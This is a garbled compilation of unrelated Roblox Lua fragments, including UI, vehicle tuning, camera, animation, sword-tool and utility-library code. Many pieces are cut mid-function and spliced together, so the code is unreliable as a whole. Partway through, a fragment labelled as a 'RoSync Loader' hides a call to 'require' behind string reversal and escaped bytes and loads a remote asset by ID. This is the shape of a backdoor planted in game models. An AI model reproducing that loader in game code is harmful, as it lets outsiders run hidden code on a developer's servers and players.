game:GetService('StarterGui'):SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, false) --< variables >-- local uis = game:GetService("UserInputService") local player = game.Players.LocalPlayer local char = workspace:WaitForChild(player.Name) -- added WaitForChild local bp = player.Backpack local hum = char:WaitForChild("Humanoid") local frame = script.Parent.Frame local template = frame.Template local equipped = 0.2 -- icon transparencies local unequipped = 0.7 local iconSize = template.Size local iconBorder = {x = 15, y = 5} -- pixel space between icons local inputKeys = { -- dictionary for effective referencing ["One"] = {txt = "1"}, ["Two"] = {txt = "2"}, ["Three"] = {txt = "3"}, ["Four"] = {txt = "4"}, ["Five"] = {txt = "5"}, ["Six"] = {txt = "6"}, ["Seven"] = {txt = "7"}, ["Eight"] = {txt = "8"}, ["Nine"] = {txt = "9"}, ["Zero"] = {txt = "0"}, } local inputOrder = { -- array for storing the order of the keys inputKeys["One"],inputKeys["Two"],inputKeys["Three"],inputKeys["Four"],inputKeys["Five"], inputKeys["Six"],inputKeys["Seven"],inputKeys["Eight"],inputKeys["Nine"],inputKeys["Zero"], }
---[[ Font Settings ]]
module.DefaultFont = Enum.Font.GothamSemibold module.ChatBarFont = Enum.Font.GothamSemibold
--[=[ Extracts the base value out of a packed linear value if needed. @param value LinearValue<T> | any @return T | any ]=]
function SpringUtils.fromLinearIfNeeded(value) if LinearValue.isLinear(value) then return value:ToBaseValue() else return value end end return SpringUtils
-- local function make() -- local p = Instance.new("Part") -- p.Anchored = true; -- p.CanCollide = false -- p.Size = Vector3.new(0,0,0) -- p.Parent = workspace -- return p -- end -- -- Pets.Visualize = {make(),make(),make(),make()}
function Pets:GetHeight(char_cf, instance) local instance_extents = instance:GetExtentsSize() local center, size = instance:GetBoundingBox() local points = {(center:PointToWorldSpace(Vector3.new(size.X/2,-size.Y/2,size.Z/2))), (center:PointToWorldSpace(Vector3.new(-size.X/2,-size.Y/2,-size.Z/2))), (center:PointToWorldSpace(Vector3.new(size.X/2,-size.Y/2,-size.Z/2))), (center:PointToWorldSpace(Vector3.new(-size.X/2,-size.Y/2,size.Z/2))) } local ignore = {instance, Player.Character} local height local all_height = {}
--[[Weight and CG]]
Tune.Weight = 2871 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 6 , --[[Height]] 3.5 , --[[Length]] 15 } Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2.17 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
-- defines subject and height of VR camera
function VRBaseCamera:GetVRFocus(subjectPosition, timeDelta) local lastFocus = self.lastCameraFocus or subjectPosition self.cameraTranslationConstraints = Vector3.new( self.cameraTranslationConstraints.x, math.min(1, self.cameraTranslationConstraints.y + timeDelta), self.cameraTranslationConstraints.z) local cameraHeightDelta = Vector3.new(0, self:GetCameraHeight(), 0) local newFocus = CFrame.new(Vector3.new(subjectPosition.x, lastFocus.y, subjectPosition.z): Lerp(subjectPosition + cameraHeightDelta, self.cameraTranslationConstraints.y)) return newFocus end
--[[ Calls destroy on all objects and clears the entire registry ]]
function Registry:removeAll() for _, object in pairs(self.objects) do object:destroy() end self.objects = {} end return Registry
-- ROBLOX MOVED: expect/utils.lua
local function iterableEquality(a: any, b: any, aStack: Array<any>, bStack: Array<any>): boolean | nil aStack = aStack or {} bStack = bStack or {} if getType(a) ~= "set" or getType(b) ~= "set" then return nil end -- ROBLOX deviation: omitting constructor check local length = #aStack while length > 0 do -- Linear search. Performance is inversely proportional to the number of -- unique nested structures. -- circular references at same depth are equal -- circular reference is not equal to non-circular one if aStack[length] == a then return bStack[length] == b end -- ROBLOX deviation: this if check is not included in upstream -- if bStack[length] == b then -- return aStack[length] == a -- end length -= 1 end table.insert(aStack, a) table.insert(bStack, b) local function iterableEqualityWithStack(localA: any, localB: any) return iterableEquality(localA, localB, { unpack(aStack) }, { unpack(bStack) }) end -- ROBLOX TODO: (ADO-1217) If we eventually have a Map polyfill, we can -- expand this to include the Map case as well if a.size ~= nil then if a.size ~= b.size then return false elseif isA("set", a) then local allFound = true for _, aValue in a:ipairs() do if not b:has(aValue) then local has = false for _, bValue in b:ipairs() do local isEqual = equals(aValue, bValue, { iterableEqualityWithStack }) if isEqual == true then has = true end end if has == false then allFound = false break end end end table.remove(aStack) table.remove(bStack) return allFound end end return nil -- ROBLOX deviation: omitted section of code for handling the case of a different -- kind of iterable not covered by the above Set case end
--//The logic behind the Starlight Sword's Chain-reaction ability
local Properties = { Duration = 0, -- The current time the ability is active MaxDuration = 5, -- How long can the ability delay itself before it fully executes. LinkDamage = 10 -- The amount of damage multiplied per-person linked. } local FindFirstChild, FindFirstChildOfClass, WaitForChild = script.FindFirstChild, script.FindFirstChildOfClass, script.WaitForChild local Clone, Destroy = script.Clone, script.Destroy local Handle = WaitForChild(script, "HandleRef", 5) local Creator = WaitForChild(script, "Creator", 5) local InitialTarget = WaitForChild(script, "InitialTarget", 5) if not InitialTarget or not InitialTarget.Value or not Handle or not Handle.Value or not Creator then script:Destroy() end Handle = Handle.Value Creator = Creator.Value InitialTarget = InitialTarget.Value local TargetTorso = (FindFirstChild(InitialTarget.Parent, "Torso") or FindFirstChild(InitialTarget.Parent, "UpperTorso")) local Humanoid = FindFirstChildOfClass(Creator.Character, "Humanoid") local Players = (game:FindService("Players") or game:GetService("Players")) local Debris = (game:FindService("Debris") or game:GetService("Debris")) local RunService = (game:FindService("RunService") or game:GetService("RunService")) print("Starlight Link ability activated! Tag as much people as you can before " .. Properties.MaxDuration .. " seconds is up!") local NewRay = Ray.new local GetChildren, GetDescendants = script.GetChildren, script.GetDescendants local IsA = script.IsA function IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function TagHumanoid(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(GetChildren(humanoid)) do if IsA(v,"ObjectValue") and v.Name == "creator" then Destroy(v) end end end local Deletables, Events = {}, {} --Put objects in the tables to discard when we're done. local DurationValue = Instance.new("NumberValue") DurationValue.Value = Properties.Duration DurationValue.Name = "Duration" DurationValue.Parent = script local Attach = Instance.new("Attachment") Deletables[#Deletables+1] = Attach Attach.Name = "Constellation_Link" Attach.Position = Vector3.new(0,0,0) Attach.Parent = TargetTorso local NewColorSequence = ColorSequence.new local Color_1, Color_2 = Color3.fromRGB(0,170,255), Color3.new(1,1,1) local Queue, AttachQueue, SparkleQueue = {}, {}, {} local Sounds = {} pcall(function() local Sparkles = Clone(script["Sparkle_Large_Blue"]) SparkleQueue[#SparkleQueue+1] = Sparkles Deletables[#Deletables+1] = Sparkles Sparkles.Parent = TargetTorso Sparkles.Enabled = true Events[#Events+1] = DurationValue:GetPropertyChangedSignal("Value"):Connect(function() Sparkles.Color = NewColorSequence(Color_1:Lerp(Color_2, Properties.Duration/Properties.MaxDuration), Color_2) end) end) pcall(function() local ExplodeSound = Clone(script.ExplodeSound) Sounds[#Sounds+1] = ExplodeSound ExplodeSound.Parent = Attach end) local LastAttachment = Attach --Reference the last attachment point we made. local Hit_WhiteList, TaggedHumanoids = {}, {} TaggedHumanoids[InitialTarget] = InitialTarget local Total = 1 Queue[#Queue+1] = InitialTarget AttachQueue[#AttachQueue+1] = Attach function Link(hit) if not hit or not hit.Parent then return end Hit_WhiteList[1] = hit --Replace the Whitelisted entry (Also helps reduce lag) --Do a Server-sided check to make sure the sword is in reasonable distance to the part hit (To prevent exploits) local DistanceRay = NewRay( Handle.Position , (hit.Position - Handle.Position).Unit * math.max(Handle.Size.X,Handle.Size.Y,Handle.Size.Z) * 2 ) local part = workspace:FindPartOnRayWithWhitelist(DistanceRay, Hit_WhiteList , true) --warn((part and "Part in range") or "Part not in range") --assert(part, "Part not in range: Potential exploit") if part ~= hit then return end -- Potential exploiter may be abusing the touched events local FF, Hum, Torso = FindFirstChildOfClass(hit.Parent, "ForceField"), FindFirstChildOfClass(hit.Parent, "Humanoid"), (FindFirstChild(hit.Parent, "Torso") or FindFirstChild(hit.Parent, "UpperTorso")) if FF or not Hum or not Torso or Hum == Humanoid or Hum.Health <= 0 or TaggedHumanoids[Hum] then return end --Don't hit yourself or anyone with a ForceField now.. if IsTeamMate(Creator, Players:GetPlayerFromCharacter(Hum.Parent)) then return end TaggedHumanoids[Hum] = Hum --We got one! Queue[#Queue+1] = Hum Attach = Instance.new("Attachment") AttachQueue[#AttachQueue+1] = Attach pcall(function() local ExplodeSound = Clone(script.ExplodeSound) Sounds[#Sounds+1] = ExplodeSound ExplodeSound.Parent = Attach end) Deletables[#Deletables+1] = Attach Attach.Name = "Constellation_Link" Attach.Position = Vector3.new(0,0,0) --warn(LastAttachment) if LastAttachment then --Create a Constellation Beam from one target to another pcall(function() local Constellation_Beam = Clone(script["Constellation_Beam"]) Deletables[#Deletables+1] = Constellation_Beam Constellation_Beam.Attachment0 = LastAttachment Constellation_Beam.Attachment1 = Attach Constellation_Beam.Enabled = true Constellation_Beam.Parent = Attach Events[#Events+1] = DurationValue:GetPropertyChangedSignal("Value"):Connect(function() Constellation_Beam.Color = NewColorSequence(Color_1:Lerp(Color_2, Properties.Duration/Properties.MaxDuration)) end) --print("Linked Targets!") end) end pcall(function() local Sparkles = Clone(script["Sparkle_Large_Blue"]) Deletables[#Deletables+1] = Sparkles SparkleQueue[#SparkleQueue+1] = Sparkles Sparkles.Parent = Torso Sparkles.Enabled = true Events[#Events+1] = DurationValue:GetPropertyChangedSignal("Value"):Connect(function() Sparkles.Color = NewColorSequence(Color_1:Lerp(Color_2, Properties.Duration/Properties.MaxDuration), Color_2) end) end) Attach.Parent = Torso LastAttachment = Attach --Reference the last attachment point we made. Total = Total + 1 --warn("Tagged " .. Hum.Parent.Name .. "!", "\n Pending damage: " .. Properties.LinkDamage * Total) Properties.Duration = 0 --Reset the duration for every time you've tagged a person. end Handle.Touched:Connect(Link) local Canceled = false while Properties.Duration < Properties.MaxDuration and not Canceled do local delta = RunService.Heartbeat:Wait() Properties.Duration = Properties.Duration + delta DurationValue.Value = Properties.Duration --print(Properties.Duration) end
--Right lean
XR15RightLegRightLean = -.5 YR15RightLegRightLean = -.35 ZR15RightLegRightLean = -.55 R15RightKneeRightLean = .1 XR15RightArmRightLean = .5 YR15RightArmRightLean = .5 ZR15RightArmRightLean = .72 R15RightElbowRightLean = 1.2 XR15LeftLegRightLean = -0 YR15LeftLegRightLean = .2 ZR15LeftLegRightLean = -.3 R15LeftKneeRightLean = .3 XR15LeftArmRightLean = -.5 YR15LeftArmRightLean = .3 ZR15LeftArmRightLean = -.2 R15LeftElbowRightLean = .2 XR15LowerTorsoRightLean = -.3 YR15LowerTorsoRightLean = .3 ZR15LowerTorsoRightLean = 0.1 ZR15UpperTorsoRightLean = .2
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels] --[Values are in degrees] Tune.FCamber = -5 Tune.RCamber = -5 Tune.FCaster = 0 Tune.FToe = 0 Tune.RToe = 0
--while configuracao.EnableMedSys do -- if ACS_Client:GetAttribute("Bleeding") then -- if ACS_Client:GetAttribute("Tourniquet")then -- Sang.Value = (Sang.Value - 0.5) -- else -- Sang.Value = (Sang.Value - (MLs.Value/120)) -- MLs.Value = math.max(0,MLs.Value + 0.025) -- end -- end
-- K is a tunable parameter that changes the shape of the S-curve -- the larger K is the more straight/linear the curve gets
local k = 0.35 local lowerK = 0.8 local function SCurveTranform(t: number) t = math.clamp(t, -1, 1) if t >= 0 then return (k*t) / (k - t + 1) end return -((lowerK*-t) / (lowerK + t + 1)) end local DEADZONE = 0.1 local function toSCurveSpace(t: number) return (1 + DEADZONE) * (2*math.abs(t) - 1) - DEADZONE end local function fromSCurveSpace(t: number) return t/2 + 0.5 end function CameraUtils.GamepadLinearToCurve(thumbstickPosition: Vector2) local function onAxis(axisValue) local sign = 1 if axisValue < 0 then sign = -1 end local point = fromSCurveSpace(SCurveTranform(toSCurveSpace(math.abs(axisValue)))) point = point * sign return math.clamp(point, -1, 1) end return Vector2.new(onAxis(thumbstickPosition.x), onAxis(thumbstickPosition.y)) end
------------------------------------------------------------------------ -- make header (from lundump.c) -- returns the header string ------------------------------------------------------------------------
function luaU:header() local x = 1 return self.LUA_SIGNATURE.. string.char( self.LUAC_VERSION, self.LUAC_FORMAT, x, -- endianness (1=little) 4, -- sizeof(int) 4, -- sizeof(size_t) 4, -- sizeof(Instruction) 8, -- sizeof(lua_Number) 0) -- is lua_Number integral? end
--------------------[ ANIMATION FUNCTIONS ]-------------------------------------------
function Animate() spawn(function() local T = createL(HUD) local baseStr = "" local formatStr = "%s" for _, Byte in pairs(ASCII) do local Char = string.char(Byte) baseStr = baseStr..Char end local newStr = string.format(formatStr, baseStr) T.Text = newStr end) local Increment = 90 / 0.4--1.5 / 0.4 local runAlpha = 0 local currentlyCrawling = false local crawlTween = false INSERT(Connections, RS.RenderStepped:connect(function(dt) --Movement Variable updating isCrawling = (Stance == 2 and onGround and S.stanceSettings.crawlAnimation) and ((not Idling) and Walking) or false isIdling = (((not onGround) and S.stopAnimsOnFall) and true or (Idling and (not Walking))) and (not Knifing) and (not isCrawling) isWalking = (not Idling) and Walking and (not Running) and (not Knifing) and ((not S.stopAnimsOnFall) and true or onGround) and (not isCrawling) isRunning = (not Idling) and Walking and Running and (not Knifing) and ((not S.stopAnimsOnFall) and true or onGround) and (not isCrawling) crawlAlpha = math.min(math.max(crawlAlpha + (isCrawling and Increment or -Increment) * dt, 0), 90) idleAlpha = math.min(math.max(idleAlpha + (isIdling and Increment or -Increment) * dt, 0), 90) walkAlpha = math.min(math.max(walkAlpha + (isWalking and Increment or -Increment) * dt, 0), 90) runAlpha = math.min(math.max(runAlpha + (isRunning and Increment or -Increment) * dt, 0), 90) local posHip = ( Sine(idleAlpha) * (Anims.Idling["unAimed"](Anim.Ang)).Pos ) + ( Sine(walkAlpha) * (Anims.Walking["unAimed"](Anim.Ang)).Pos ) + ( Sine(runAlpha) * (Anims.Running(Anim.Ang)).Pos ) local rotHip = ( Sine(idleAlpha) * (Anims.Idling["unAimed"](Anim.Ang)).Rot ) + ( Sine(walkAlpha) * (Anims.Walking["unAimed"](Anim.Ang)).Rot ) + ( Sine(runAlpha) * (Anims.Running(Anim.Ang)).Rot ) local posAim = ( Sine(idleAlpha) * (Anims.Idling["Aimed"](Anim.Ang)).Pos ) + ( Sine(walkAlpha) * (Anims.Walking["Aimed"](Anim.Ang)).Pos ) + ( Sine(runAlpha) * (Anims.Running(Anim.Ang)).Pos ) local rotAim = ( Sine(idleAlpha) * (Anims.Idling["Aimed"](Anim.Ang)).Rot ) + ( Sine(walkAlpha) * (Anims.Walking["Aimed"](Anim.Ang)).Rot ) + ( Sine(runAlpha) * (Anims.Running(Anim.Ang)).Rot ) Anim.Pos = (1 - aimAlpha) * posHip + aimAlpha * posAim Anim.Rot = (1 - aimAlpha) * rotHip + aimAlpha * rotAim Anim.Ang = Anim.Ang + RAD(105 * dt) * stanceSway --Gun Momentum updating gunMomentum.t = V3(desiredXOffset, desiredYOffset, 0) local newGunMomentum = gunMomentum.p currentXOffset = newGunMomentum.X / S.momentumSettings.maxInput currentYOffset = newGunMomentum.Y / S.momentumSettings.maxInput --Recoil spring updating gunRecoilSpring.t = recoilAnim.Rot camRecoilSpring.t = camOffsets.Recoil.Rot --Cross spring updating if Aimed then crossSpring.t = V3(-2, 0, 0) else crossSpring.t = V3(crossOffset + (baseSpread + currentSpread) * 50, 0, 0) end local newS = crossSpring.p.X crossA.Position = UDim2.new(0.5, -1, 1, -newS / 2) crossB.Position = UDim2.new(0, newS / 2 - 15, 0.5, -1) crossC.Position = UDim2.new(0.5, -1, 0, newS / 2 - 15) crossD.Position = UDim2.new(1, -newS / 2, 0.5, -1) --Orientation updating local finalCamOffset = getTotalCamOffset() headWeld.C1 = CFANG(-camAng.y - finalCamOffset.Y, 0, 0) if (not Humanoid.Sit) then HRP.CFrame = CF(HRP.Position) * CFANG(0, camAng.x + finalCamOffset.X, 0) end --Walkspeed updating if Running then Humanoid.WalkSpeed = S.walkSpeeds.Sprinting else local SpeedRatio = S.walkSpeeds.Aimed / S.walkSpeeds.Base if Stance == 0 then Humanoid.WalkSpeed = (Aimed and S.walkSpeeds.Aimed or S.walkSpeeds.Base) elseif Stance == 1 then Humanoid.WalkSpeed = (Aimed and S.walkSpeeds.Crouched * SpeedRatio or S.walkSpeeds.Crouched) elseif Stance == 2 then Humanoid.WalkSpeed = (Aimed and S.walkSpeeds.Prone * SpeedRatio or S.walkSpeeds.Prone) end end end)) local crawlAng = 0 while Selected do if isCrawling then breakReload = (Reloading and true or breakReload) if Aimed then unAimGun(true) end local tempCrawlAnim = Anims.Crawling(crawlAng, moveAng) spawn(function() local startCamRot = crawlCamRot local startLLegCF = LLegWeld.C1 local startRLegCF = RLegWeld.C1 local t0 = tick() while true do RS.Heartbeat:wait() local Alpha = math.min((tick() - t0) / 0.3, 1) * 90 if (not isCrawling) then break end if (not Selected) then break end crawlCamRot = numLerp(startCamRot, tempCrawlAnim.Camera, Sine(Alpha)) LLegWeld.C1 = startLLegCF:lerp(tempCrawlAnim.leftLeg, Linear(Alpha)) RLegWeld.C1 = startRLegCF:lerp(tempCrawlAnim.rightLeg, Linear(Alpha)) if Alpha == 90 then break end end end) tweenJoint(LWeld, nil, tempCrawlAnim.leftArm, Linear, 0.3) tweenJoint(RWeld, nil, tempCrawlAnim.rightArm, Linear, 0.3) tweenJoint(Grip, nil, tempCrawlAnim.Grip, Linear, 0.3) lowerSpread() local t0 = tick() while true do local dt = RS.Heartbeat:wait() if (not Selected) then break end if (not isCrawling) then break end if (tick() - t0) >= 0.3 then local crawlAnim = Anims.Crawling(crawlAng, moveAng) LWeld.C1 = crawlAnim.leftArm RWeld.C1 = crawlAnim.rightArm LLegWeld.C1 = crawlAnim.leftLeg RLegWeld.C1 = crawlAnim.rightLeg Grip.C1 = crawlAnim.Grip crawlCamRot = crawlAnim.Camera crawlAng = crawlAng + 0.5 * RAD(105 * dt) * (HRP.Velocity * V3(1, 0, 1)).magnitude / 3 end end else crawlAng = 0 if (not equipAnimPlaying) then spawn(function() local startCamRot = crawlCamRot local startLLegCF = LLegWeld.C1 local startRLegCF = RLegWeld.C1 local t0 = tick() while true do RS.RenderStepped:wait() local Alpha = math.min((tick() - t0) / 0.3, 1) * 90 if isCrawling then break end if (not Selected) then break end crawlCamRot = numLerp(startCamRot, 0, Sine(Alpha)) LLegWeld.C1 = startLLegCF:lerp(CF(), Linear(Alpha)) RLegWeld.C1 = startRLegCF:lerp(CF(), Linear(Alpha)) if Alpha == 90 then break end end end) if (not isRunning) then tweenJoint(LWeld, nil, S.unAimedC1.leftArm, Sine, 0.3) tweenJoint(RWeld, nil, S.unAimedC1.rightArm, Sine, 0.3) tweenJoint(Grip, nil, S.unAimedC1.Grip, Sine, 0.3) end end while true do if (not Selected) then break end if isCrawling then break end RS.RenderStepped:wait() end end wait() end end function getAnimCF() return CF(aimHeadOffset, 0, 0) * CFANG( jumpAnim.Rot * COS(camAng.Y) * jumpAnimMultiplier + (-RAD(currentYOffset) * rotationMultiplier + gunRecoilSpring.p.X + Anim.Rot.X) * stanceSway, (-RAD(currentXOffset) * rotationMultiplier + gunRecoilSpring.p.Y + Anim.Rot.Y) * stanceSway, (RAD(currentXOffset) * rotationMultiplier + RAD(armTilt) * armTiltMultiplier + gunRecoilSpring.p.Z + Anim.Rot.Z) * stanceSway ) * CF( (Anim.Pos.X + recoilAnim.Pos.X) * stanceSway, jumpAnim.Pos * COS(camAng.Y) * jumpAnimMultiplier + (Anim.Pos.Y + recoilAnim.Pos.Y) * stanceSway, -jumpAnim.Pos * SIN(camAng.Y) * jumpAnimMultiplier + (Anim.Pos.Z + recoilAnim.Pos.Z) * stanceSway ), CFANG(-camAng.Y * crawlAlpha / 90, 0, 0) * CF(aimHeadOffset, -1, 0) end
-- Get the total component count
local TotalCount = (Indicator:WaitForChild 'ComponentCount').Value;
--[[Weight and CG]]
Tune.Weight = 6000 -- Total weight (in pounds) Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable) --[[Width]] 5 , --[[Height]] 8 , --[[Length]] 17 } Tune.WeightDist = 60 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100) Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels) Tune.WBVisible = false -- Makes the weight brick visible --Unsprung Weight Tune.FWheelDensity = .1 -- Front Wheel Density Tune.RWheelDensity = .1 -- Rear Wheel Density Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF] Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF] Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight) Tune.AxleDensity = .1 -- Density of structural members
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
function onRunning(speed) if speed>0 then playAnimation("walk", 0.1, Humanoid) pose = "Running" else playAnimation("idle", 0.1, Humanoid) pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() playAnimation("jump", 0.1, Humanoid) jumpAnimTime = jumpAnimDuration pose = "Jumping" end function onClimbing(speed) playAnimation("climb", 0.1, Humanoid) setAnimationSpeed(speed / 12.0) pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() if (jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) end pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end function onSwimming(speed) if speed>0 then pose = "Running" else pose = "Standing" end end function getTool() for _, kid in ipairs(Figure:GetChildren()) do if kid:IsA("Tool") then return kid end end return nil end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c:IsA("StringValue") then return c end end return nil end function animateTool() if (toolAnim == "None") then playToolAnimation("toolnone", toolTransitionTime, Humanoid) return end if (toolAnim == "Slash") then playToolAnimation("toolslash", 0, Humanoid) return end if (toolAnim == "Lunge") then playToolAnimation("toollunge", 0, Humanoid) return end end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder:SetDesiredAngle(3.14 /2) LeftShoulder:SetDesiredAngle(-3.14 /2) RightHip:SetDesiredAngle(3.14 /2) LeftHip:SetDesiredAngle(-3.14 /2) end local lastTick = 0 function move(time) local amplitude = 1 local frequency = 1 local deltaTime = time - lastTick lastTick = time local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif (pose == "Seated") then stopAllAnimations() moveSit() return elseif (pose == "Running") then playAnimation("walk", 0.1, Humanoid) elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
-- Libraries
local Support = require(Libraries:WaitForChild 'SupportLibrary') local Roact = require(Vendor:WaitForChild 'Roact') local Maid = require(Libraries:WaitForChild 'Maid') local Signal = require(Libraries:WaitForChild 'Signal')
--Expanding Blood Parts Function
local expandBlood = function(part) local randomIncrement = math.random(5, 10) / 10 local tween = tweenSize(part, 5, Enum.EasingDirection.Out, Vector3.new(part.Size.X + randomIncrement, 0.1, part.Size.Z + randomIncrement) ) spawn(function() tween.Completed:Wait() tween:Destroy() end) end
--[[ Last synced 7/9/2021 08:31 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
-- задаём размер кнопки
me=script.Parent tmp=me.AbsoluteSize.X me.Size=UDim2.new(0,tmp,0,tmp)
-- This script provides one aspect of support for older maps that use EventScript -- by providing a module in a location where those older maps expect it. -- -- ForbiddenJ
local WaterLib = require(game.ReplicatedStorage.WaterLib) local mod = {} function mod.moveWater(water, move, dur, isLocalSpace) return WaterLib.MoveWater(water, move, dur, isLocalSpace) end function mod.setWaterState(water, state) return WaterLib.SetWaterState(water, state) end return mod
--[[ A version of Component with a `shouldUpdate` method that forces the resulting component to be pure. ]]
local Component = require(script.Parent.Component) local PureComponent = Component:extend("PureComponent")
-- Don't set this above 1, it will cause glitchy behaviour.
local UpdateSpeed = 0.1 -- How fast the body will rotates. local UpdateDelay = 0.05 -- How fast the heartbeat will update.
-- Local Functions
local function onCharacterAdded(character) wait(1) -- You want to wait for the Animate script to load and run local humanoid = character:WaitForChild("Humanoid") for _, playingTracks in pairs(humanoid:GetPlayingAnimationTracks()) do playingTracks:Stop(0) end local animateScript = character:WaitForChild("Animate") for _, anim in ipairs(replacementAnimations) do if not anim.isLoaded then continue end local animations = animateScript:WaitForChild(anim.name):GetChildren() -- Overwrite the IDs of all idle animation instances for _, animVariant in ipairs(animations) do animVariant.AnimationId = anim.id -- If you really want to prevent the animations from being changed by something else you could do this too animVariant:GetPropertyChangedSignal("AnimationId"):Connect(function() animVariant.AnimationId = anim.id end) end end -- Stop all currently playing animation tracks on the player for _, playingAnimation in pairs(humanoid:GetPlayingAnimationTracks()) do playingAnimation:Stop() playingAnimation:Destroy() end end local function onPlayerAdded(player) --Only run this code if an animation actually is loaded in. local character = player.Character or player.CharacterAdded:wait() onCharacterAdded(character) end
-- print("Keyframe : ".. frameName)
local repeatAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then repeatAnim = "idle" end local animSpeed = currentAnimSpeed playAnimation(repeatAnim, 0.15, Enemy) setAnimationSpeed(animSpeed) end end
--Turbos
local PSI = 5 local Turbos = "Single" -- "Twin","Single" local TurboSize = "Medium" -- "Small","Medium","Large" local TwoStep = true local Valve = "BOV" -- "BOV","Bleed"
-- Teleport.lua, inside your commands folder as defined above.
return { Name = "teleport"; Aliases = {"tp"}; Description = "Teleports a player or set of players to one target."; Group = "Admin"; Args = { { Type = "players"; Name = "from"; Description = "The players to teleport"; }, { Type = "player"; Name = "to"; Description = "The player to teleport to" } }; }
--- Returns a new Maid object -- @constructor Maid.new() -- @treturn Maid
function Maid.new() return setmetatable({ _tasks = {} }, Maid) end function Maid.isMaid(value) return type(value) == "table" and value.ClassName == "Maid" end
-- << LOCAL FUNCTIONS >>
local function setupOriginalZIndex(frame, forceOnTop) for a,b in pairs(frame:GetDescendants()) do if b:IsA("GuiObject") and b:FindFirstChild("OriginalZIndex") == nil then local iValue = Instance.new("IntValue") iValue.Name = "OriginalZIndex" local zValue = b.ZIndex if forceOnTop then zValue = zValue + 10000 end iValue.Value = zValue iValue.Parent = b end end end local function updateZIndex(list, specificFrame) for i,v in pairs(main.commandMenus) do for a,b in pairs(v:GetDescendants()) do if b:IsA("GuiObject") then if b:FindFirstChild("OriginalZIndex") and (not specificFrame or v == specificFrame) then b.ZIndex = b.OriginalZIndex.Value + ((i-1)*10) - 1000 end end end end end
-------- OMG HAX
Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Debris = game:GetService("Debris") RunService = game:GetService("RunService") black = BrickColor.new("Really black") DamageValues = { BaseDamage = 5, SlashDamage = 11, LungeDamage = 22 } Damage = DamageValues.BaseDamage Sounds = { Slash = Handle:WaitForChild("SwordSlash"), Lunge = Handle:WaitForChild("SwordLunge"), Unsheath = Handle:WaitForChild("Unsheath") } Animations = { Slash = Tool:WaitForChild("Slash") } ClientControl = (Tool:FindFirstChild("ClientControl") or Instance.new("RemoteFunction")) ClientControl.Name = "ClientControl" ClientControl.Parent = Tool function InvokeClient(Mode, Value) pcall(function() ClientControl:InvokeClient(Player, Mode, Value) end) end function TagHumanoid(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function Blow(Hit) if not Hit or not Hit.Parent or not Character or not Humanoid or Humanoid.Health == 0 then return end local humanoid = Hit.Parent:FindFirstChild("Humanoid") if humanoid and humanoid ~= Humanoid and humanoid.Health > 0 then local RightArm = Character:FindFirstChild("Right Arm") if not RightArm then return end local player = game.Players:FindFirstChild(Hit.Parent.Name) local myteam = Player.TeamColor local theirteam = player.TeamColor local RightGrip = RightArm:FindFirstChild("RightGrip") if (RightGrip and (RightGrip.Part0 == Handle or RightGrip.Part1 == Handle)) then if player and player ~= Player and not Player.Neutral and not player.Neutral and (myteam ~= theirteam or (myteam == black and theirteam == black)) then UntagHumanoid(humanoid) TagHumanoid(humanoid, Player) humanoid:TakeDamage(Damage) end end end end function Attack() Damage = DamageValues.SlashDamage Sounds.Slash:Play() InvokeClient("PlayAnimation", {Animation = Animations.Slash, Speed = 1.5}) end function Lunge() Damage = DamageValues.LungeDamage Sounds.Lunge:Play() local Anim = Instance.new("StringValue") Anim.Name = "toolanim" Anim.Value = "Lunge" Anim.Parent = Tool local Force = Instance.new("BodyVelocity") if Torso and Torso.Parent then Force.velocity = Vector3.new(0, 100, 0) Force.maxForce = Vector3.new(0, 4000, 0) Debris:AddItem(Force, 0.5) 